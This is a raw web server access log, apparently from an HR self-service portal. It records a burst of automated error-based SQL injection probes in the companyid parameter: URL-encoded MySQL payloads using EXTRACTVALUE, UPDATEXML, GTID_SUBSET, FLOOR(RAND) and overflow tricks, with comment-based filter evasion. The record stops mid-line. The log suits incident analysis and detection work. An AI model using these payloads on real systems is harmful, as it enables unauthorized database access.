100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e645078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b754850%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x59453147%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59495a78%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x38435179%2C%28NULL%29%2C0x6c35364d%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d784237%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39456969%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6c38626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a777070%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x55646e4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794e684e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d636644%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6263596f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d636644%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6263596f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x424b736f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68565176%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x424b736f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68565176%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3562314d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63633854%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x3562314d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x63633854%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6936774e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x344d6c79%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x71504f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7031434e%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x71504f76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7031434e%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x73536e33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4750%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x73536e33%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a4b4750%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x58347730%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414b454e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x58347730%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x414b454e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566d5a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a354a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566d5a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e7a354a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35394958%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57694337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35394958%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57694337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x3632626a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46353439%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x575a6b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58774d70%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67466448%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x527a714d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:21 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6e645078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b754850%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like 